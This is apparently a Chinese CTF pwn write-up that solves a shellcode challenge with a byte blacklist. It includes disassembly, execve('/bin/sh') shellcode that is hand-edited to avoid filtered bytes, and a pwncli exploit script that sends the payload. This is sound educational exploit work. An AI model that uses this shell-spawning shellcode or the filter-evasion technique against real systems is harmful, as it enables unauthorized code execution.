analysis:
shellcode题:
.text:00000000000012ED ; int __fastcall main(int argc, const char **argv, const char **envp)
.text:00000000000012ED public main
.text:00000000000012ED main proc near ; DATA XREF: _start+21↑o
.text:00000000000012ED
.text:00000000000012ED input_len = dword ptr -74h
.text:00000000000012ED s = byte ptr -70h
.text:00000000000012ED input = byte ptr -50h
.text:00000000000012ED canary = qword ptr -8
.text:00000000000012ED
.text:00000000000012ED ; __unwind {
.text:00000000000012ED endbr64
.text:00000000000012F1 push rbp
.text:00000000000012F2 mov rbp, rsp
.text:00000000000012F5 add rsp, 0FFFFFFFFFFFFFF80h
.text:00000000000012F9 mov rax, fs:28h
.text:0000000000001302 mov [rbp+canary], rax
.text:0000000000001306 xor eax, eax
.text:0000000000001308 mov rax, 0F668736E6962543Bh
.text:0000000000001312 mov rdx, 67616C66C95FC0D2h
.text:000000000000131C mov qword ptr [rbp+s], rax
.text:0000000000001320 mov qword ptr [rbp+s+8], rdx
.text:0000000000001324 mov [rbp+s+10h], 0
.text:0000000000001328 mov eax, 0
.text:000000000000132D call setup
.text:0000000000001332 lea rdi, s ; "Hey, just because I am hungry doesn't m"...
.text:0000000000001339 call _puts
.text:000000000000133E lea rax, [rbp+input]
.text:0000000000001342 mov edx, 3Ch ; '<' ; nbytes
.text:0000000000001347 mov rsi, rax ; buf
.text:000000000000134A mov edi, 0 ; fd
.text:000000000000134F call _read
.text:0000000000001354 mov [rbp+input_len], eax
.text:0000000000001357 lea rax, [rbp+s]
.text:000000000000135B mov rdi, rax ; s
.text:000000000000135E call _strlen
.text:0000000000001363 mov ecx, eax ; 16
.text:0000000000001365 mov edx, [rbp+input_len] ; 输入的长度
.text:0000000000001368 lea rsi, [rbp+input] ; 输入
.text:000000000000136C lea rax, [rbp+s]
.text:0000000000001370 mov rdi, rax ; 硬编码
.text:0000000000001373 call check ; 输入的字节不能存在指定字节,黑名单过滤
.text:0000000000001378 test eax, eax
.text:000000000000137A jnz short loc_1392
.text:000000000000137C lea rdi, aHeheToldYouWon ; "Hehe, told you... won't accept everythi"...
.text:0000000000001383 call _puts
.text:0000000000001388 mov edi, 539h ; status
.text:000000000000138D call _exit
.text:0000000000001392 ; ---------------------------------------------------------------------------
.text:0000000000001392
.text:0000000000001392 loc_1392: ; CODE XREF: main+8D↑j
.text:0000000000001392 lea rdx, [rbp+input]
.text:0000000000001396 mov eax, 0
.text:000000000000139B call rdx ; shellcode
.text:000000000000139D mov eax, 0
.text:00000000000013A2 mov rcx, [rbp+canary]
.text:00000000000013A6 xor rcx, fs:28h
.text:00000000000013AF jz short locret_13B6
.text:00000000000013B1 call ___stack_chk_fail
.text:00000000000013B6 ; ---------------------------------------------------------------------------
.text:00000000000013B6
.text:00000000000013B6 locret_13B6: ; CODE XREF: main+C2↑j
.text:00000000000013B6 leave
.text:00000000000013B7 retn
.text:00000000000013B7 ; } // starts at 12ED
.text:00000000000013B7 main endp
.text:00000000000013B7
这里过滤坏字符:0F668736E6962543Bh,67616C66C95FC0D2h,这里的字节不允许出现在shellcode里,check就是检查这个事情的:
__int64 __fastcall check(__int64 a1, __int64 a2, int a3, int a4)
{
int i; // [rsp+20h] [rbp-8h]
int j; // [rsp+24h] [rbp-4h]
for ( i = 0; i < a4; ++i )
{
for ( j = 0; j < a3 - 1; ++j )
{
if ( *(_BYTE *)(i + a1) == *(_BYTE *)(j + a2) )
return 0LL;
}
}
return 1337LL;
}
所以拿个现成shellcode去改就行,用shellcraft生成一个:
/* execve(path='/bin/sh', argv=0, envp=0) */
/* push b'/bin/sh\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall
编译:
401000: 48 b8 01 01 01 01 01 movabs rax,0x101010101010101
401007: 01 01 01
40100a: 50 push rax
40100b: 48 b8 2e 63 68 6f 2e movabs rax,0x169722e6f68632e
401012: 72 69 01
401015: 48 31 04 24 xor QWORD PTR [rsp],rax
401019: 48 89 e7 mov rdi,rsp
40101c: 31 d2 xor edx,edx
40101e: 31 f6 xor esi,esi
401020: 6a 3b push 0x3b
401022: 58 pop rax
401023: 0f 05 syscall
写脚本检查坏字符:
black = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"
print(f"black list: {black}")
for i in range(len(shellcode)):
if shellcode[i] in black:
print(f"black: {hex(shellcode[i])}")
查出来:
black list: b';Tbinsh\xf6\xd2\xc0_\xc9flag'
black: 0x68
black: 0x69
black: 0xd2
black: 0xf6
black: 0x3b
分析修改思路:
- 这里的0x68和0x69出现在异或后的结果里,改一下异或字符串即可
- 这里的0xd2和0xf6是清空edx和esi的,改用push pop组合来替代即可
- 这里的0x3b在给rax赋值的时候使用的,可以改成赋值0x3a然后加1
结果:
mov rax, 0x103310101030101
push rax
mov rax, 0x103310101030101 ^ 0x68732f6e69622f
xor [rsp], rax
mov rdi, rsp
push 0
pop rdx
push 0
pop rsi
/* call execve() */
push 0x3a /* 0x3b */
pop rax
add al, 0x01
syscall
exp:
#!/usr/bin/env python3
# Date: 2024-04-12 13:53:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
from ae64 import *
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
with open("shellcode_raw","rb")as f:
shellcode = f.read()
black = b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67"
#shellcode = asm(asm_code)
#shellcode = encode(shellcode,black)
# send shellcode
print(f"black list: {black}")
for i in range(len(shellcode)):
if shellcode[i] in black:
print(f"black: {hex(shellcode[i])}")
payload = shellcode
io.send(payload)
ia()
summary
遇到过滤的shellcode题目,别急着去找工具自动去除坏字节,应该先试试手动去除可不可行
- pwntools的encode函数可以处理shellcode去除bad char